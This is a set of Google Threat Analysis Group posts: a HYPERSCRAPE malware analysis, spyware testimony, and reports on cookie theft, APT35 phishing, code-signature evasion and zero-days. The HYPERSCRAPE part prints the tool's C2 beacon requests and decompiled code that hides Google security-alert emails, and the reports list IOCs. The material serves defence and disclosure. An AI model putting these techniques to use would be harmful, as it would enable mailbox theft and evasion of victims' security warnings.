This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.
Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee:
Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.
We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.
Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.
We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.
Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.
TAG actively monitors threat actors and the evolution of their tactics and techniques.
For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.
We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.
We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.
TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.
And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.
We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.
Google has a long track record combating commercial surveillance tools targeting our users.
In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.
At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.
We observed fewer than three dozen installs of this spyware.
We remediated the compromises for these users and implemented controls to protect all Android users.
NSO Group continues to pose risks across the Internet ecosystem.
In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.
Google was able to identify the vulnerability in use and fix the exploit quickly.
In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.
iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.
Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.
Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.
Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.
For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.
We assessed that a surveillance vendor packaged and sold these technologies.
Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.
Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.
Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.
We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.
Among other targets, this spyware was used to compromise journalists and opposition politicians.
Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.
TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.
The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.
Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.
These vendors operate with deep technical expertise to develop and operationalize exploits.
We believe its use is growing, fueled by demand from governments.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.
This industry appears to be thriving.
In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.
This trend should be concerning to the United States and all citizens.
These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.
Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.
In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.
On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.
Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.
Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.
On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.
Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.
We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.
And we offer other advanced phishing and malware protection to administrators to better protect their users.
By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.
However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.
For Android, through its entire development lifecycle, we subject the products to a rigorous security program.
The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.
We ensure appropriate controls are built into the architecture of the system.
During the development stage, Android-created and open source components are subject to vigorous security reviews For users, Android provides safety and control over how apps and third parties can access the data from their devices.
For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.
We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.
For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.
Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.
Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.
We also provide research grants to security researchers to help fund and support the research community.
This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.
Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.
Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.
Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.
We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.
To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.
APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.
We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.
The first step is to understand the scope of the problem.
We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.
The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.
The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.
We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.
Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.
The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.
Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.
Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.
Google is investing heavily as a company and as an industry to counter serious threats to our users.
In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.
While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.
Google is committed to leading the industry in detecting and disrupting these threats.
I thank the Committee for this attention on this critical issue.
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.
This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.
We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.
On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
This means that there is typically more than one threat actor behind the warnings.
In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.
This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.
For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.
In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.
Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.
Users were instructed to activate an invitation to a (fake) webinar by logging in.
The phishing kit will also ask for second-factor authentication codes sent to devices.
APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.
Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.
In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.
The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.
Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.
Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.
One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.
Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.
When they did, attackers sent them phishing links in follow-on correspondence.
Targets typically had to navigate through at least one redirect before landing on a phishing domain.
Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.
We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.
Services from Dropbox and Microsoft are also abused.
One of APT35’s novel techniques involves using Telegram for operator notifications.
The attackers embed javascript into phishing pages that notify them when the page has been loaded.
To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.
The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.
We reported the bot to Telegram and they have taken action to remove it.
We warn users when we suspect a government-backed threat like APT35 is targeting them.
Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.
If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.
Workspace administrators are also notified regarding targeted accounts in their domain.
Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.
We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.
When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.
When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.
Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.
Indicators from APT28 phishing campaign:
service-reset-password-moderate-digital.rf[.
]gd
reset-service-identity-mail.42web[.
]io
digital-email-software.great-site[.
]net
Indicators from APT35 campaigns:
Abused Google Properties:
https://sites.google[.
]com/view/ty85yt8tg8-download-rtih4ithr/
https://sites.google[.
]com/view/user-id-568245/
https://sites.google[.
]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/
Abused Dropbox Properties:
https://www.dropbox[.
]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains:
nco2[.
]live
summit-files[.
]com
filetransfer[.
]club
continuetogo[.
]me
accessverification[.
]online
customers-verification-identifier[.
]site
service-activity-session[.
]online
identifier-service-review[.
]site
recovery-activity-identification[.
]site
review-session-confirmation[.
]site
recovery-service-activity[.
]site
verify-service-activity[.
]site
service-manager-notifications[.
]info
Android App:
https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection
Android App C2:
communication-shield[.
]site
cdsa[.
]xyz
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Understanding the techniques used by attackers helps us counter these threats effectively.
This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.
Attackers often rely on varying behaviors between different systems to gain access.
For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.
In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.
We believe this is a technique the attacker is using to evade detection rules.
Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.
Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.
OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.
The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.
Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.
Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.
In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.
EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).
Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00
Decodes to the following elements:
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1)
EOC
Security products using OpenSSL to extract signature information will reject this encoding as invalid.
However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.
This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.
As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.
This issue has been reported to Microsoft.
Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.
The following are samples using this evasion:
https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection
New variant:
https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection
Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.
Users are encouraged to only download and install software from reputable and trustworthy sources.
Zero-day vulnerabilities are unknown software flaws.
Until they’re identified and fixed, they can be exploited by attackers.
Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.
In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year:
CVE-2021-21166 and CVE-2021-30551 in Chrome,
CVE-2021-33742 in Internet Explorer, and
CVE-2021-1879 in WebKit (Safari).
The four exploits were used as a part of three different campaigns.
As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.
We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.
Google has also published root cause analyses (RCAs) on each of the 0-days.
In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.
Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.
While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.
Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.
CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.
Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.
The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.
When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.
The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.
This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.
Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.
After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.
This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.
In our environment, we did not receive any payloads past this stage.
While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.
Apple fixed the issue as CVE-2021-1844.
We do not have any evidence that this vulnerability was used to target Safari users.
Related IOCs
lragir[.
]org
armradio[.
]org
asbares[.
]com
armtimes[.
]net
armlur[.
]org
armenpress[.
]org
hraparak[.
]org
armtimes[.
]org
hetq[.
]org
Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.
For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.
These files are automatically opened in Internet Explorer when they are double clicked by the user.
In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.
This happened by either embedding a remote ActiveX object using a Shell.
Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.
At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.
After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.
This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.
The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.
We did not recover additional payloads in our environment.
During our investigation we discovered several documents uploaded to VirusTotal.
Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.
On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.
Related IOCs
Examples of related Office documents uploaded to VirusTotal:
https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection
https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection
